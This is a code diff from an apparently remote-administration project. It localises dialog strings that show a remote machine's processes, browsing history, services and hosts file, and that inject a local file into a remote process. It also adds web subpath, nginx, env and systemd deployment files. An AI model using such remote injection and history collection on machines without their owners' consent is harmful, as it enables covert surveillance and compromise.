 CInjectCodeDlg::CInjectCodeDlg(CWnd* pParent /*=nullptr*/)
     : CDialogLang(IDD_INJECTINFO, pParent)
-    , Str_loacal(_T("本地文件路径"))
+    , Str_loacal(_TR("本地文件路径"))
     , Str_remote(_T(""))
 {
 }

server/2015Remote/sys/MachineDlg.cpp

@@ -216,7 +216,7 @@ void CMachineDlg::OnReceiveComplete()
     DeleteList();
 
     if (m_ContextObject->m_DeCompressionBuffer.GetBufferLen() <= 2) {
-        PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("无权限或无记录...")), 0);
+        PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("无权限或无记录...")), 0);
         SetReceivingStatus(false);
         return;
     }
@@ -383,7 +383,7 @@ void CMachineDlg::DeleteList()
         m_list.DeleteColumn(0);
     }
     if (!m_bIsClosed)
-        PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("请等待数据返回...")), 0);
+        PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("请等待数据返回...")), 0);
 }
 
 void CMachineDlg::ShowProcessList()
@@ -453,7 +453,7 @@ void CMachineDlg::ShowProcessList()
     lvc.cchTextMax = str.GetLength();
     m_list.SetColumn(7, &lvc);
 
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 
@@ -493,7 +493,7 @@ void CMachineDlg::ShowWindowsList()
     lvc.cchTextMax = str.GetLength();
     m_list.SetColumn(2, &lvc);
 
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 
@@ -545,7 +545,7 @@ void CMachineDlg::ShowNetStateList()
         }
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i, pid));
     }
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 
@@ -571,7 +571,7 @@ void CMachineDlg::ShowSoftWareList()
         }
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
     }
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 void CMachineDlg::ShowIEHistoryList()
@@ -593,7 +593,7 @@ void CMachineDlg::ShowIEHistoryList()
         dwOffset += sizeof(Browsinghistory);
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
     }
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 void CMachineDlg::ShowFavoritesUrlList()
@@ -615,7 +615,7 @@ void CMachineDlg::ShowFavoritesUrlList()
         }
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
     }
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 void CMachineDlg::ShowServiceList()
@@ -710,7 +710,7 @@ void CMachineDlg::ShowTaskList()
             break;
         }
     }
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 void CMachineDlg::ShowHostsList()
@@ -730,7 +730,7 @@ void CMachineDlg::ShowHostsList()
         m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i));
         i++;
     }
-    PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0);
+    PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("接收数据完成")), 0);
 }
 
 void CMachineDlg::OnSize(UINT nType, int cx, int cy)
@@ -968,7 +968,7 @@ void CMachineDlg::ShowProcessList_menu()
             BYTE* lpBuffer = NULL;
             HANDLE hFile = CreateFile(dlg.Str_loacal, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
             if (hFile == INVALID_HANDLE_VALUE) {
-                PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("打开文件失败...")), 0);
+                PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_TR("打开文件失败...")), 0);
             } else {
                 p_InjectData->datasize = GetFileSize(hFile, NULL);
                 int allsize = p_InjectData->datasize + sizeof(InjectData)+1;

server/go/cmd/main.go

@@ -661,6 +661,19 @@ func splitCSV(s string) []string {
 	return out
 }
 
+// normalizeBasePath turns a YAMA_WEB_BASE_PATH value into a leading-slash,
+// no-trailing-slash prefix ("" for root). "" (or "/") means the web UI is
+// served at the domain root (方案A); "/remoter" means it is served under that
+// prefix (方案B), with a reverse proxy routing the subpath to this process.
+func normalizeBasePath(s string) string {
+	s = strings.TrimSpace(s)
+	s = strings.Trim(s, "/")
+	if s == "" {
+		return ""
+	}
+	return "/" + s
+}
+
 // runIssueToken handles the "issue-token" subcommand. It mints a customer JWT
 // signed with the operator's RSA private key and prints it to stdout.
 //
@@ -918,11 +931,16 @@ func main() {
 	if trustProxy {
 		log.Info("Trusting X-Forwarded-For for client IP — make sure a reverse proxy is in front")
 	}
+	basePath := normalizeBasePath(os.Getenv("YAMA_WEB_BASE_PATH"))
+	if basePath != "" {
+		log.Info("Serving web UI under base path %q (subpath deployment)", basePath)
+	}
 	webCfg := web.Config{
 		AllowedOrigins:    allowedOrigins,
 		LoginIPLimit:      wsauth.NewRateLimiter(10, time.Minute),
 		LoginUserLimit:    wsauth.NewRateLimiter(5, 15*time.Minute),
 		TrustForwardedFor: trustProxy,
+		BasePath:          basePath,
 	}
 
 	// Start HTTP server for web UI. Hub gives it read-only access to the

server/go/deploy/nginx-yama.conf.example

@@ -0,0 +1,68 @@
+# ============================================================
+#  YAMA 网页端 nginx 反代示例（方案B：子路径部署）
+#  作为站点配置放入 /etc/nginx/sites-available/yama 后软链到 sites-enabled
+#  核心原则：nginx 只做 TLS 终止 + 完整路径转发，由 Go 端
+#            YAMA_WEB_BASE_PATH=/remoter 负责 strip
+# ============================================================
+
+server {
+    listen 443 ssl http2;
+    server_name 你的域名.com;
+
+    # TLS 证书（路径换成你自己的，如 certbot/letsencrypt 生成的位置）
+    ssl_certificate     /etc/letsencrypt/live/你的域名.com/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/你的域名.com/privkey.pem;
+
+    # 裸 /remoter（没写结尾斜杠）→ 301 到 /remoter/
+    location = /remoter {
+        return 301 /remoter/;
+    }
+
+    # 子路径：完整路径原样转发，Go 端按 YAMA_WEB_BASE_PATH 再 strip
+    location /remoter/ {
+        # 结尾没有 "/" → /remoter/... 原样转发（不要写成 http://127.0.0.1:8080/）
+        # Go 服务端若在另一台机器，换成 http://192.168.1.50:8080;
+        proxy_pass http://127.0.0.1:8080;
+
+        proxy_http_version 1.1;
+
+        # WebSocket 升级（远程桌面走 /remoter/ws，不配这两行连不上）
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+
+        proxy_set_header Host $host;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+
+        # 远程桌面连接长时间空闲，避免默认 60s 被 nginx 掐断
+        proxy_read_timeout 3600s;
+        proxy_send_timeout 3600s;
+
+        # 大文件/流式传输时避免缓冲占内存（可选）
+        # proxy_buffering off;
+    }
+}
+
+# ============================================================
+#  方案A（根路径部署）：不设 YAMA_WEB_BASE_PATH，用下面这段替代上面
+# ============================================================
+# server {
+#     listen 443 ssl http2;
+#     server_name 你的域名.com;
+#     ssl_certificate     /etc/letsencrypt/live/你的域名.com/fullchain.pem;
+#     ssl_certificate_key /etc/letsencrypt/live/你的域名.com/privkey.pem;
+#
+#     location / {
+#         proxy_pass http://127.0.0.1:8080;
+#         proxy_http_version 1.1;
+#         proxy_set_header Upgrade $http_upgrade;
+#         proxy_set_header Connection "upgrade";
+#         proxy_set_header Host $host;
+#         proxy_set_header X-Real-IP $remote_addr;
+#         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+#         proxy_set_header X-Forwarded-Proto $scheme;
+#         proxy_read_timeout 3600s;
+#         proxy_send_timeout 3600s;
+#     }
+# }

server/go/deploy/yama-server.env.example

@@ -0,0 +1,64 @@
+# ============================================================
+#  YAMA 服务端环境变量（完整版）
+#  systemd 通过  EnvironmentFile=-/etc/yama/server.env  读取
+#  行首 "#" = 未启用（保持默认）；去掉 "#" 即生效
+# ============================================================
+
+# ---------- 账号 / 密码 ----------
+
+# Web 管理员账号 "admin" 的初始密码。回退链：
+#   YAMA_WEB_ADMIN_PASS  →  YAMA_PWD  →  硬编码 "admin"
+# 生产环境务必设置，否则会以 admin/admin 裸奔（启动日志会红色告警）
+YAMA_WEB_ADMIN_PASS=ChangeMe_Strong
+
+# 超级密码（明文）。TCP 授权用，也是上面 Web 管理员密码的回退来源
+#YAMA_PWD=
+
+# TCP 授权的密码哈希（SHA-256 十六进制）。与 YAMA_PWD 二选一；
+# 未设置时用内置占位默认值（生产应覆盖）
+#YAMA_PWDHASH=
+
+# 持久化 Web 用户文件路径（默认相对工作目录的 users.json）
+#YAMA_USERS_FILE=/opt/yama/users.json
+
+# ---------- 网页端 / 反向代理 ----------
+
+# 子路径部署前缀（方案B）。空 = 根路径（方案A）；有值须与 nginx location 一致
+YAMA_WEB_BASE_PATH=/remoter
+
+# "1" = 信任反向代理的 X-Forwarded-For（nginx 在 Go 前面时务必开启，
+# 否则登录限流会把所有客户端当成 nginx 同一个 IP）
+YAMA_WEB_TRUST_PROXY=1
+
+# WebSocket Origin 白名单（逗号分隔）。空 = 仅允许同源
+#YAMA_WEB_ALLOWED_ORIGINS=https://你的域名
+
+# ---------- 授权 / 许可（signer）----------
+# 优先级：YAMA_SIGN_PASSWORD > YAMA_LICENSE_DISABLED=1 > YAMA_LICENSE_TOKEN > 匿名试用
+
+# 本地签名主密钥（HMAC）。设置即进入 LocalSigner 模式（运营方自部署）
+#YAMA_SIGN_PASSWORD=
+
+# "1" = 关闭授权校验（NoOpSigner，离线/开发用；客户端将拒绝屏幕/文件功能）
+#YAMA_LICENSE_DISABLED=1
+
+# 许可服务器 URL（RemoteSigner 付费客户 / 试用模式的默认地址）
+#YAMA_LICENSE_SERVER=
+
+# 客户 JWT（付费客户解锁设备配额）
+#YAMA_LICENSE_TOKEN=
+
+# 缓存 TTL（小时，RemoteSigner 离线缓存，默认 24）
+#YAMA_LICENSE_OFFLINE_HRS=24
+
+# ---------- 兼做许可服务器（可选，LocalSigner-as-LS）----------
+
+# issue-token 子命令用：RSA 私钥 PEM 路径（与公钥配对）
+#YAMA_LICENSE_PRIVATE_KEY=
+
+# 对外签发许可用：RSA 公钥 PEM 路径 + 监听地址（如 ":8443"）
+#YAMA_LICENSE_PUBLIC_KEY=
+#YAMA_LICENSE_HTTP_ADDR=:8443
+
+# 配额状态持久化文件路径
+#YAMA_LICENSE_STATE_PATH=/opt/yama/license_state.json

server/go/deploy/yama.service

@@ -0,0 +1,35 @@
+[Unit]
+Description=YAMA Remote Administration Server
+After=network-online.target
+Wants=network-online.target
+
+[Service]
+Type=simple
+User=yama
+Group=yama
+WorkingDirectory=/opt/yama
+
+# 密钥 / 部署参数集中放这里（权限 600）。前面的 "-" 表示文件不存在也不报错。
+EnvironmentFile=-/etc/yama/server.env
+
+# 6543 = 客户端(agent)回连端口；8080 = 网页端 HTTP(由 nginx 反向代理)
+# arm64 机器请把二进制名换成 server_linux_arm64
+ExecStart=/opt/yama/server_linux_amd64 -port 6543 -http-port 8080 -no-console
+
+Restart=on-failure
+RestartSec=5
+
+# --- 安全加固（可选，不需要可删掉整段） ---
+NoNewPrivileges=true
+PrivateTmp=true
+ProtectSystem=full
+# 若服务需要写 /opt/yama 之外的目录，再放开这一行：
+# ReadWritePaths=/opt/yama/data
+
+# 日志交给 journald
+StandardOutput=journal
+StandardError=journal
+SyslogIdentifier=yama
+
+[Install]
+WantedBy=multi-user.target

server/go/web/server.go

@@ -1,6 +1,7 @@
 package web
 
 import (
+	"bytes"
 	"context"
 	"encoding/json"
 	"errors"
@@ -30,6 +31,7 @@ type Server struct {
 	loginIPLimit      *wsauth.RateLimiter
 	loginUserLimit    *wsauth.RateLimiter
 	trustForwardedFor bool // honor X-Forwarded-For (behind trusted proxy only)
+	basePath          string // web UI mount prefix (e.g. "/remoter"); "" = domain root
 }
 
 // Config tunes the server's exposed-on-public-HTTPS hardening knobs.
@@ -52,6 +54,12 @@ type Config struct {
 	// exposure the header is client-controlled and would let attackers
 	// evade per-IP rate limits.
 	TrustForwardedFor bool
+	// BasePath mounts the whole web UI (index, manifest, static assets,
+	// /health, /api/devices, /ws) under a URL prefix, so a reverse proxy
+	// can serve it from a subpath of an existing domain (e.g.
+	// https://example.com/remoter). Must be empty or a leading-slash,
+	// no-trailing-slash path; "" (default) serves from the domain root.
+	BasePath string
 }
 
 // New creates an HTTP server bound to the given port. port=0 disables the server.
@@ -68,6 +76,7 @@ func (s *Server) WithConfig(cfg Config) *Server {
 	s.loginIPLimit = cfg.LoginIPLimit
 	s.loginUserLimit = cfg.LoginUserLimit
 	s.trustForwardedFor = cfg.TrustForwardedFor
+	s.basePath = cfg.BasePath
 	return s
 }
 
@@ -96,7 +105,7 @@ func (s *Server) Start() error {
 
 	s.srv = &http.Server{
 		Addr:              ":" + strconv.Itoa(s.port),
-		Handler:           mux,
+		Handler:           s.mount(mux),
 		ReadHeaderTimeout: 10 * time.Second,
 	}
 
@@ -129,14 +138,41 @@ func (s *Server) Stop() {
 	_ = s.srv.Shutdown(ctx)
 }
 
+// basePathPlaceholder is the token in index.html substituted with the
+// configured base path at serve time. Empty base path → "" → root URLs.
+const basePathPlaceholder = "__BASE_PATH__"
+
+// mount wraps the root-path mux with the configured base path. When basePath
+// is empty the mux is returned unchanged (domain-root serving, 方案A). Otherwise
+// the bare prefix redirects to prefix+"/", paths outside the prefix 404, and
+// matching paths are stripped before reaching the mux (方案B, subpath serving).
+func (s *Server) mount(h http.Handler) http.Handler {
+	if s.basePath == "" {
+		return h
+	}
+	base := s.basePath // normalized by cmd: leading "/", no trailing "/"
+	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path == base {
+			http.Redirect(w, r, base+"/", http.StatusMovedPermanently)
+			return
+		}
+		if !strings.HasPrefix(r.URL.Path, base+"/") {
+			http.NotFound(w, r)
+			return
+		}
+		http.StripPrefix(base, h).ServeHTTP(w, r)
+	})
+}
+
 func (s *Server) handleIndex(w http.ResponseWriter, r *http.Request) {
 	if r.URL.Path != "/" && r.URL.Path != "/index.html" {
 		http.NotFound(w, r)
 		return
 	}
+	body := bytes.ReplaceAll(IndexHTML, []byte(basePathPlaceholder), []byte(s.basePath))
 	w.Header().Set("Content-Type", "text/html; charset=utf-8")
 	w.Header().Set("Cache-Control", "no-cache")
-	_, _ = w.Write(IndexHTML)
+	_, _ = w.Write(body)
 }
 
 func (s *Server) handleHealth(w http.ResponseWriter, r *http.Request) {
@@ -190,21 +226,28 @@ func (s *Server) unauthorized(w http.ResponseWriter) {
 }
 
 // PWA manifest. Referenced by <link rel="manifest"> in index.html.
-// Static JSON, no template needed.
+// start_url is rooted at the configured base path so an installed PWA
-const manifestJSON = `{
+// launches into the right location; "/" when served from the domain root.
+func (s *Server) manifestJSON() []byte {
+	start := "/"
+	if s.basePath != "" {
+		start = s.basePath + "/"
+	}
+	return []byte(fmt.Sprintf(`{
   "name": "SimpleRemoter",
   "short_name": "Remoter",
-  "start_url": "/",
+  "start_url": "%s",
   "display": "standalone",
   "orientation": "any",
   "background_color": "#1a1a2e",
   "theme_color": "#1a1a2e"
-}`
+}`, start))
+}
 
 func (s *Server) handleManifest(w http.ResponseWriter, r *http.Request) {
 	w.Header().Set("Content-Type", "application/manifest+json")
 	w.Header().Set("Cache-Control", "public, max-age=86400")
-	_, _ = w.Write([]byte(manifestJSON))
+	_, _ = w.Write(s.manifestJSON())
 }
 
 // staticHandler returns an http.HandlerFunc that serves a fixed byte slice

server/web/index.html

@@ -10,9 +10,9 @@
     <meta name="apple-mobile-web-app-title" content="Remoter">
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="theme-color" content="#1a1a2e">
-    <link rel="manifest" href="/manifest.json">
+    <link rel="manifest" href="__BASE_PATH__/manifest.json">
     <!-- xterm.js (远程终端). Files served by WebService from RC binary resources. -->
-    <link rel="stylesheet" href="/static/xterm.css">
+    <link rel="stylesheet" href="__BASE_PATH__/static/xterm.css">
     <link rel="icon" type="image/png" href="data:image/png;base64,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">
     <style>
         * { margin: 0; padding: 0; box-sizing: border-box; }
@@ -1349,8 +1349,8 @@
         </div>
     </div>
 
-    <script src="/static/xterm.js"></script>
+    <script src="__BASE_PATH__/static/xterm.js"></script>
-    <script src="/static/xterm-fit.js"></script>
+    <script src="__BASE_PATH__/static/xterm-fit.js"></script>
 
     <!-- Opus codec for audio decompression -->
     <script src="https://cdn.jsdelivr.net/npm/opus.js@0.5.0/dist/opus.js"></script>
@@ -1524,7 +1524,7 @@
             const protocol = location.protocol === 'https:' ? 'wss:' : 'ws:';
             updateWsStatus('connecting');
             try {
-                ws = new WebSocket(protocol + '//' + location.host + '/ws');
+                ws = new WebSocket(protocol + '//' + location.host + '__BASE_PATH__/ws');
             } catch (e) {
                 updateWsStatus('disconnected');
                 scheduleReconnect();